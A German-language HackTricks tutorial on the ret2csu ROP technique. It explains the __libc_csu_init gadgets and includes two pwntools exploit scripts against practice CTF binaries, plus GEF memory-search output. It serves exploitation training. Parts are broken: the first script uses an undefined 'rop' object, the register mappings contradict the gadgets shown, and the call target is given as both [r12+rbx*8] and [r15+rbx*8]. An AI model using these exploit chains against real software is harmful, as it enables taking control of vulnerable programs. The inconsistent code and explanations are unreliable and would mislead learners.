Ret2csu

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

ret2csu ist eine Hacking-Technik, die verwendet wird, wenn Sie versuchen, die Kontrolle über ein Programm zu übernehmen, aber die Gadgets, die Sie normalerweise verwenden, um das Verhalten des Programms zu manipulieren, nicht finden können.

Wenn ein Programm bestimmte Bibliotheken verwendet (wie libc), verfügt es über einige integrierte Funktionen zur Verwaltung der Kommunikation zwischen verschiedenen Teilen des Programms. Unter diesen Funktionen befinden sich einige versteckte Schätze, die als unsere fehlenden Gadgets fungieren können, insbesondere eine namens __libc_csu_init.

Die magischen Gadgets in __libc_csu_init

In __libc_csu_init gibt es zwei Sequenzen von Anweisungen (Gadgets), die hervorgehoben werden sollten:

  1. Die erste Sequenz ermöglicht es uns, Werte in mehreren Registern (rbx, rbp, r12, r13, r14, r15) einzurichten. Diese dienen als Speicherplätze, in denen wir Zahlen oder Adressen speichern können, die wir später verwenden möchten.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom Stapel in sie laden.

  1. Die zweite Sequenz verwendet die von uns eingerichteten Werte, um ein paar Dinge zu tun:

  • Bestimmte Werte in andere Register verschieben, um sie für uns als Parameter in Funktionen vorzubereiten.

  • Einen Aufruf an eine Stelle durchführen, die durch Addition der Werte in r15 und rbx bestimmt wird, und dann rbx mit 8 multipliziert.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Vielleicht kennen Sie keine Adresse, die Sie dort eingeben können, und Sie benötigen eine ret-Anweisung. Beachten Sie, dass der zweite Gadget auch mit einem ret enden wird, aber Sie müssen einige Bedingungen erfüllen, um ihn zu erreichen:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Die Bedingungen werden sein:

  • [r12 + rbx*8] muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein PIE vorhanden sind, können Sie einfach die Funktion _init verwenden):

  • Wenn _init sich bei 0x400560 befindet, verwenden Sie GEF, um nach einem Zeiger im Speicher darauf zu suchen und machen Sie [r12 + rbx*8] zur Adresse mit dem Zeiger auf _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp und rbx müssen den gleichen Wert haben, um den Sprung zu vermeiden

  • Es gibt einige ausgelassene Pops, die berücksichtigt werden müssen

RDI und RSI

Eine weitere Möglichkeit, rdi und rsi aus dem ret2csu-Gadget zu steuern, besteht darin, auf spezifische Offset zuzugreifen:

Überprüfen Sie diese Seite für weitere Informationen:

pageBROP - Blind Return Oriented Programming

Beispiel

Verwendung des Aufrufs

Stellen Sie sich vor, Sie möchten einen Systemaufruf machen oder eine Funktion wie write() aufrufen, aber spezifische Werte in den Registern rdx und rsi als Parameter benötigen. Normalerweise würden Sie nach Gadgets suchen, die diese Register direkt setzen, aber Sie finden keine.

Hier kommt ret2csu ins Spiel:

  1. Registrierungen einrichten: Verwenden Sie den ersten magischen Gadget, um Werte vom Stapel in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu laden.

  2. Verwenden des zweiten Gadgets: Mit diesen gesetzten Registern verwenden Sie den zweiten Gadget. Dies ermöglicht es Ihnen, Ihre ausgewählten Werte in rdx und rsi zu verschieben (aus r14 und r13), um Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Steuerung von r15 und rbx das Programm dazu bringen, eine Funktion aufzurufen, die sich an der von Ihnen berechneten Adresse befindet und in [r15 + rbx*8] platziert wird.

Es gibt ein Beispiel für die Verwendung dieser Technik und deren Erklärung hier, und dies ist der endgültige Exploit, der verwendet wurde:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Beachten Sie, dass das vorherige Exploit nicht dazu gedacht ist, eine RCE durchzuführen, sondern lediglich eine Funktion namens win aufzurufen (die Adresse von win aus stdin aufrufen, gets im ROP-Chain und in r15 speichern) mit einem dritten Argument mit dem Wert 0xdeadbeefcafed00d.

Umgehen des Aufrufs und Erreichen von ret

Der folgende Exploit wurde von dieser Seite extrahiert, auf der ret2csu verwendet wird, aber anstelle des Aufrufs die Vergleiche umgeht und den ret nach dem Aufruf erreicht:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Warum nicht einfach libc direkt verwenden?

Normalerweise sind diese Fälle auch anfällig für ret2plt + ret2lib, aber manchmal müssen mehr Parameter kontrolliert werden, als mit den Gadgets möglich ist, die direkt in libc gefunden werden. Zum Beispiel erfordert die write()-Funktion drei Parameter, und es ist möglicherweise nicht möglich, Gadgets zu finden, um diese direkt zu setzen.

Last updated